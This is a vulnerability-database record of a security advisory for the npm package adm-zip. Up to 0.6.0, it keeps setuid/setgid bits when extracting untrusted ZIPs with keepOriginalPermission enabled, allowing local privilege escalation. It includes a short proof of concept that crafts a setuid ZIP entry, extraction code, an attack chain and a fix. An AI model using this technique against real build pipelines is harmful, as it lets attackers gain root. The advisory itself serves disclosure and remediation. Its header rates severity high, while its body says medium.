{"id":"CVE-2026-102282","aliases":["GHSA-j5f4-cc29-5x44"],"title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation","summary":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation","severity":"high","cvss":7.1,"cwe":["CWE-732"],"vendor":"adm-zip","product":"adm-zip","ecosystem":"npm","affected":["adm-zip <= 0.6.0"],"patched":["adm-zip 0.6.1"],"published":"2026-09-29","updated":"2026-09-29","sourceUpdated":"2026-09-29T18:25:04Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-j5f4-cc29-5x44","references":[{"url":"https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44"},{"url":"https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87"},{"url":"https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"},{"url":"https://github.com/advisories/GHSA-j5f4-cc29-5x44"}],"tags":["ghsa","npm"],"ingestedAt":"2026-09-29T18:42:35.829Z","slug":"CVE-2026-102282","body":"## Overview\n\n## Summary\n\nadm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.\n\n## Details\n\nThe mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:\n\n```js\n// headers/entryHeader.js:187\nget fileAttr() {\n    return (_attr || 0) >> 16 & 0xfff;\n}\n```\n\n`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.\n\nWhen the flag is on, that value goes straight to the write:\n\n```js\n// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)\nconst fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;\nfiletools.writeFileTo(target, content, overwrite, fileAttr);\n```\n\n```js\n// util/utils.js:94\nself.fs.chmodSync(path, attr || 0o666);\n```\n\nNo `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.\n\n## PoC\n\nTested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.\n\n1. Craft a zip with a setuid binary using standard tooling (this is the\n   realistic attacker path — no adm-zip APIs involved in creating it):\n\n```bash\npython3 -c \"\nimport zipfile\nzi = zipfile.ZipInfo('pysuidbin')\nzi.external_attr = 0o4755 << 16\nwith zipfile.ZipFile('evil.zip', 'w') as z:\n    z.writestr(zi, '#!/bin/sh\\nid\\n')\n\"\n```\n\n2. Extract with the flag enabled:\n\n```js\nconst AdmZip = require('adm-zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n\nconst fs = require('fs');\nconst st = fs.statSync('/tmp/out/pysuidbin');\nconsole.log((st.mode & 0o7777).toString(8));\n// => 4755   (setuid bit set — the file is root-owned if the extractor runs as root)\n```\n\n3. Control — same zip, default extraction (`keepOriginalPermission=false`):\n   mode comes out `0666`, no setuid. The flag is the enabler.\n\nAlternative supply path, if the zip is built in-process with adm-zip's own API:\n\n```js\nconst zip = new AdmZip();\nzip.addFile('suidbin', Buffer.from('#!/bin/sh\\nid\\n'), '', 0o4755);\nzip.writeZip('evil.zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n// same result: stat mode & 0o7777 === 0o4755\n```\n\n## Impact\n\nPrivilege escalation. \nThe vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.\n\nRealistic chain:\n\n1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).\n2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.\n3. The root-owned setuid file leaves the build, typically preserved by  `cp -a`/rsync mode-bit propagation, into the runtime environment.\n4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.\n\nWho is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. \nDefault-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. \nSeverity: Medium\n\nSuggested fix, one line in the getter:\n\n```js\nget fileAttr() {\n    return (_attr >> 16) & 0o777;\n}\n```\n\n## Affected packages\n\n- `adm-zip <= 0.6.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `adm-zip 0.6.1`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}